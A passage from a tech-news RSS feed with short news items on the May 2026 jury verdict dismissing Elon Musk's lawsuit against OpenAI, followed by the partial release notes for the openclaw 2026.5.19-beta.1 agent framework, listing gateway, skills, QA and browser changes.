<content:encoded><![CDATA[I reviewed the most expensive wireless headphones Sony has ever made — are they actually worth the money? Here's my verdict.]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk appeals $134 billion OpenAI loss, calls verdict a "calendar technicality"]]></title>
<description><![CDATA[Elon Musk has lost his lawsuit against Sam Altman and OpenAI. The jury in Oakland dismissed the case after just two hours of deliberation. Musk had sought up to $134 billion. The judge said she would have been ready to dismiss the case "immediately." Musk's attorney reserved the right to appeal.
...]]></description>
<link>https://tsecurity.de/de/3528428/ai-nachrichten/elon-musk-appeals-134-billion-openai-loss-calls-verdict-a-calendar-technicality/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528428/ai-nachrichten/elon-musk-appeals-134-billion-openai-loss-calls-verdict-a-calendar-technicality/</guid>
<pubDate>Tue, 19 May 2026 11:02:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1456" height="816" src="https://the-decoder.com/wp-content/uploads/2024/12/openai_lawsuit_justice-2.png" class="attachment-full size-full wp-post-image" alt="Statue of justicia, cash flying around" decoding="async" fetchpriority="high"></p>
<p>        Elon Musk has lost his lawsuit against Sam Altman and OpenAI. The jury in Oakland dismissed the case after just two hours of deliberation. Musk had sought up to $134 billion. The judge said she would have been ready to dismiss the case "immediately." Musk's attorney reserved the right to appeal.</p>
<p>The article <a href="https://the-decoder.com/elon-musk-appeals-134-billion-openai-loss-calls-verdict-a-calendar-technicality/">Elon Musk appeals $134 billion OpenAI loss, calls verdict a "calendar technicality"</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Sam Altman’s victory over Elon Musk clears way for OpenAI’s trillion-dollar ambitions]]></title>
<description><![CDATA[OpenAI’s plans now seem all but guaranteed, given that the world’s richest man couldn’t put a stop to themOn Monday morning, a jury in Oakland, California, handed a resounding victory to Sam Altman and OpenAI in their long, bitter courtroom battle with Elon Musk.The federal jury found Altman, Ope...]]></description>
<link>https://tsecurity.de/de/3528378/it-nachrichten/how-sam-altmans-victory-over-elon-musk-clears-way-for-openais-trillion-dollar-ambitions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528378/it-nachrichten/how-sam-altmans-victory-over-elon-musk-clears-way-for-openais-trillion-dollar-ambitions/</guid>
<pubDate>Tue, 19 May 2026 10:47:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI’s plans now seem all but guaranteed, given that the world’s richest man couldn’t put a stop to them</p><p>On Monday morning, a jury in Oakland, California, handed a resounding victory to Sam Altman and OpenAI in their long, bitter courtroom battle with Elon Musk.</p><p>The federal jury found Altman, OpenAI and its president, Greg Brockman, not liable for Elon Musk’s claims that they unjustly enriched themselves and broke a founding contract made with Musk when founding the startup. The unanimous verdict, delivered after less than two hours of deliberation, is a stark rebuke of Musk and his lawyer’s claims that Altman “stole a charity” through his leadership of OpenAI.</p><p><em>Nick Robins-Early contributed reporting</em></p> <a href="https://www.theguardian.com/technology/2026/may/18/altman-trial-victory-musk-openai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Here’s why Elon Musk lost his suit against OpenAI]]></title>
<description><![CDATA[On Monday, the jury in Musk v. Altman dealt Elon Musk a major blow—reaching a unanimous advisory verdict that Musk sued OpenAI too late and, as a result, his claims are barred by the applicable statutes of limitations. US District Judge Yvonne Gonzalez Rogers immediately accepted it.  Musk announ...]]></description>
<link>https://tsecurity.de/de/3527601/ai-nachrichten/heres-why-elon-musk-lost-his-suit-against-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527601/ai-nachrichten/heres-why-elon-musk-lost-his-suit-against-openai/</guid>
<pubDate>Tue, 19 May 2026 03:17:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On Monday, the jury in Musk v. Altman dealt Elon Musk a major blow—reaching a unanimous advisory verdict that Musk sued OpenAI too late and, as a result, his claims are barred by the applicable statutes of limitations. US District Judge Yvonne Gonzalez Rogers immediately accepted it.  Musk announced on X that he will be…]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk Loses OpenAI Lawsuit After Jury Says He Sued ‘Too Late’]]></title>
<description><![CDATA[A jury rejected Elon Musk’s lawsuit against OpenAI as untimely, handing Sam Altman, Microsoft, and OpenAI a major legal victory.
The post Elon Musk Loses OpenAI Lawsuit After Jury Says He Sued ‘Too Late’ appeared first on eWEEK.]]></description>
<link>https://tsecurity.de/de/3527501/it-nachrichten/elon-musk-loses-openai-lawsuit-after-jury-says-he-sued-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527501/it-nachrichten/elon-musk-loses-openai-lawsuit-after-jury-says-he-sued-too-late/</guid>
<pubDate>Tue, 19 May 2026 01:47:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A jury rejected Elon Musk’s lawsuit against OpenAI as untimely, handing Sam Altman, Microsoft, and OpenAI a major legal victory.</p>
<p>The post <a href="https://www.eweek.com/news/elon-musk-openai-lawsuit-jury-verdict/">Elon Musk Loses OpenAI Lawsuit After Jury Says He Sued ‘Too Late’</a> appeared first on <a href="https://www.eweek.com/">eWEEK</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.19-beta.1]]></title>
<description><![CDATA[2026.5.19
Changes

Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.
Dependencies: update @openclaw/proxyline to 0.3.3.
Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to ...]]></description>
<link>https://tsecurity.de/de/3527452/downloads/openclaw-2026519-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3527452/downloads/openclaw-2026519-beta1/</guid>
<pubDate>Tue, 19 May 2026 01:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.19</h2>
<h3>Changes</h3>
<ul>
<li>Agents: clarify that fixes should default to clean bounded refactors, lean internals, and explicit plugin SDK/API deprecation paths.</li>
<li>Dependencies: update <code>@openclaw/proxyline</code> to 0.3.3.</li>
<li>Dependencies: update Pi packages to 0.75.1 and raise the minimum supported Node.js 22 line to 22.19.</li>
<li>Docker/Podman: add <code>OPENCLAW_IMAGE_APT_PACKAGES</code> as the runtime-neutral image build arg for extra apt packages while keeping <code>OPENCLAW_DOCKER_APT_PACKAGES</code> as a legacy fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217026381" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62431" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62431/hovercard" href="https://github.com/openclaw/openclaw/pull/62431">#62431</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/urtabajev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/urtabajev">@urtabajev</a>.</li>
<li>Gateway/ACPX: attribute startup probe, config, runtime, and resource-count costs in restart traces without changing readiness behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83300" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83300/hovercard" href="https://github.com/openclaw/openclaw/pull/83300">#83300</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway: overlap startup logging and plugin-service startup with channel sidecars to reduce restart ready latency while preserving <code>/readyz</code> sidecar gating. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83301" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83301/hovercard" href="https://github.com/openclaw/openclaw/pull/83301">#83301</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Plugins/admin-http-rpc: allow trusted admin HTTP RPC clients to start and wait for web QR login flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464874472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83259" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83259/hovercard" href="https://github.com/openclaw/openclaw/pull/83259">#83259</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liorb-mountapps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liorb-mountapps">@liorb-mountapps</a>.</li>
<li>Mac app: redesign Settings pages with consistent card layouts, cached navigation, cleaner permissions/voice/skills/cron/exec/debug panes, and steadier spacing around the native sidebar.</li>
<li>Skills: rename the repo-local Codex closeout review skill and helper to <code>autoreview</code> while preserving the Codex-first fallback behavior.</li>
<li>Skills: add a meme-maker skill for curated template search, local SVG/PNG rendering, Imgflip hosted rendering, and Know Your Meme provenance links.</li>
<li>Skills CLI: allow <code>openclaw skills install</code> and <code>openclaw skills update</code> to target shared managed skills with <code>--global</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351987851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74466" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74466/hovercard" href="https://github.com/openclaw/openclaw/pull/74466">#74466</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Browser: surface pending and recently handled modal dialogs in snapshots, return <code>blockedByDialog</code> when an action opens a modal, and allow <code>browser dialog --dialog-id</code> to answer pending dialogs.</li>
<li>Browser CLI: add <code>openclaw browser evaluate --timeout-ms</code> so long-running page functions can extend both the evaluate action and request timeout budgets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466445698" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83447" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83447/hovercard" href="https://github.com/openclaw/openclaw/pull/83447">#83447</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eefreenyc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eefreenyc">@eefreenyc</a>.</li>
<li>Codex app-server: scope OpenClaw prompt guidance by runtime surface so native Codex keeps Codex-owned base/personality instructions while OpenClaw contributes only runtime context, delivery guidance, and explicitly scoped command hints. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466538467" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83454/hovercard" href="https://github.com/openclaw/openclaw/pull/83454">#83454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/tools: shorten built-in tool descriptions and schema hints across media, messaging, sessions, cron, Gateway, web, image/PDF, TTS, nodes, and plan tools while preserving routing guardrails.</li>
<li>Skills: add node inspector debugging, fused diagram generation, and throwaway spike workflow skills.</li>
<li>CLI/plugins: add <code>defineToolPlugin</code> plus <code>openclaw plugins build</code>, <code>validate</code>, and <code>init</code> for typed simple tool plugins with generated manifest metadata, optional tool declarations, and context factories.</li>
<li>Agents/skills: tighten bundled skill prompts and metadata, quote skill descriptions, refresh current CLI/API guidance, and update embedded sherpa-onnx runtime downloads.</li>
<li>Skills: update the Obsidian skill to target the official <code>obsidian</code> CLI and require its registered binary instead of the third-party <code>obsidian-cli</code>.</li>
<li>Skills: add a Python debugging skill for pdb, breakpoint(), post-mortem inspection, and debugpy remote attach.</li>
<li>Plugins/messages: add presentation capability limits for channel renderers, adapt rich message controls before native rendering, and mark legacy <code>interactive</code>/Slack directive producer APIs as deprecated.</li>
<li>Plugins/subagents: store channel delivery routes as canonical session metadata and deprecate ad hoc subagent hook delivery-origin fields in favor of core route projection.</li>
<li>Proxy: support HTTPS managed forward-proxy endpoints and scoped <code>proxy.tls.caFile</code> CA trust for proxy endpoint TLS. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403048153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79171" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79171/hovercard" href="https://github.com/openclaw/openclaw/pull/79171">#79171</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesse-merhi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesse-merhi">@jesse-merhi</a>.</li>
<li>QA-Lab: add first-hour 20-turn and optional 100-turn runtime parity scenarios, with tier metadata for standard and soak QA gates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188988" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80338/hovercard" href="https://github.com/openclaw/openclaw/issues/80338">#80338</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80337/hovercard" href="https://github.com/openclaw/openclaw/issues/80337">#80337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add <code>openclaw qa suite --runtime-parity-tier</code> and wire the standard Codex-vs-Pi tier into release checks separately from optional/live-only/soak lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416188383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80337/hovercard" href="https://github.com/openclaw/openclaw/issues/80337">#80337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a live-only Codex Pi-shaped Read vocabulary canary so runtime parity catches native workspace-read prompt compatibility drift. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add live-only harness self-health scenarios for plugin hook crashes, manifest contract errors, and WebChat direct-reply self-message routing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add runtime tool fixture scenarios and coverage reporting for Codex-native workspace tools, OpenClaw dynamic tools, and optional plugin-backed tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415099454" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80173" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80173/hovercard" href="https://github.com/openclaw/openclaw/issues/80173">#80173</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: expose runtime tool fixture coverage through <code>openclaw qa coverage --tools</code>, with optional suite-summary evaluation for parity gate artifacts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: schedule a live-frontier Codex-vs-Pi runtime token-efficiency artifact lane in the all-lanes QA workflow. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415101470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80175" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80175/hovercard" href="https://github.com/openclaw/openclaw/issues/80175">#80175</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: hard-gate required OpenClaw dynamic runtime-tool drift in the standard Codex-vs-Pi tier with a blocking release-check verifier and publish the tool coverage report artifact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416189394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80339/hovercard" href="https://github.com/openclaw/openclaw/issues/80339">#80339</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add the personal-agent approval-denial scenario so the benchmark pack verifies denied local reads stop cleanly without tool progress or fixture leaks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463922408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83150" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83150/hovercard" href="https://github.com/openclaw/openclaw/pull/83150">#83150</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: extend the personal-agent benchmark pack with a local task followthrough scenario for proof-backed pending, blocked, and done status reporting. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: add a report-only dreaming shadow-trial scenario so candidate memory promotion can be evaluated without mutating <code>MEMORY.md</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Gateway/performance: add <code>pnpm test:restart:gateway</code> benchmark tooling for repeated restart readiness, downtime, trace, and resource-slope evidence. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465177384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83299" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83299/hovercard" href="https://github.com/openclaw/openclaw/pull/83299">#83299</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Android: switch Talk Mode to realtime Gateway relay voice sessions with streaming mic input, realtime audio playback, tool-result bridging, and on-screen transcripts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463811067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83130/hovercard" href="https://github.com/openclaw/openclaw/pull/83130">#83130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliekens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliekens">@sliekens</a>.</li>
<li>Gateway/config: expose config lookup reload metadata so tools can distinguish restart-required, hot-reloadable, and no-op fields before applying config edits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4438060145" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81409/hovercard" href="https://github.com/openclaw/openclaw/issues/81409">#81409</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4442609432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81612" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81612/hovercard" href="https://github.com/openclaw/openclaw/pull/81612">#81612</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LLagoon3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LLagoon3">@LLagoon3</a>.</li>
<li>Telegram: add allowlisted native DM draft previews for transient tool progress while keeping final answers on the normal persistent delivery path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469802375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83622" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83622/hovercard" href="https://github.com/openclaw/openclaw/pull/83622">#83622</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akrimm702/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akrimm702">@akrimm702</a>.</li>
<li>QA-Lab: add a personal-agent share-safe diagnostics artifact scenario so support handoffs keep useful status while omitting raw personal content. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Memory/search: scan the JS-side fallback vector path (used when the sqlite-vec index is unavailable or has a mismatched dimension) in bounded rowid batches and yield to the event loop between batches so large chunk tables can no longer pin the Node.js main thread for multi-second windows. Also keeps the SQL prepared statement rooted in a local so node:sqlite cannot finalize it mid-scan under heap pressure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432718295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81172" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81172/hovercard" href="https://github.com/openclaw/openclaw/issues/81172">#81172</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dev23xyz-oss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dev23xyz-oss">@dev23xyz-oss</a>.</li>
<li>CLI/update: bypass npm freshness filters consistently during managed package and plugin installs so freshly published release plugins remain installable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Agents/subagents: keep collect-mode announce queues batching unresolved-origin items with compatible same-route messages and resume collection after a true cross-channel drain when a later compatible batch remains. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468716265" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83577/hovercard" href="https://github.com/openclaw/openclaw/issues/83577">#83577</a>.</li>
<li>Providers/Anthropic: preserve native image input for current Claude model rows when stale local catalog data marks them text-only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472508905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83756" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83756/hovercard" href="https://github.com/openclaw/openclaw/pull/83756">#83756</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Control UI: render live tool progress from session-scoped <code>session.tool</code> Gateway events so externally started runs show their tool cards in the active session. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471865132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83734" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83734/hovercard" href="https://github.com/openclaw/openclaw/pull/83734">#83734</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Outbound: resolve send-capable channel plugins from the active runtime registry when the pinned startup registry only has setup metadata. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471864947" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83733" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83733/hovercard" href="https://github.com/openclaw/openclaw/pull/83733">#83733</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Browser: enforce current-tab URL allowlist checks for <code>/act</code> evaluate/batch actions and <code>/highlight</code> routes while leaving tab-management actions unblocked. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392533668" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78523" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78523/hovercard" href="https://github.com/openclaw/openclaw/pull/78523">#78523</a>)</li>
<li>CI: require real-behavior-proof verdict markers to come from the ClawSweeper GitHub App before accepting exact-head proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470892805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83692/hovercard" href="https://github.com/openclaw/openclaw/pull/83692">#83692</a>)</li>
<li>Models: show the effective OpenAI/Codex auth profile in <code>/models</code> provider headers instead of falling back to the OpenAI env-key label. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470946100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83697/hovercard" href="https://github.com/openclaw/openclaw/pull/83697">#83697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yu-xin-c/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yu-xin-c">@yu-xin-c</a>.</li>
<li>Browser: keep a profile <code>cdpPort</code> when its <code>cdpUrl</code> omits a port, while still letting explicitly written URL ports win. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454473920" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82166" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82166/hovercard" href="https://github.com/openclaw/openclaw/pull/82166">#82166</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
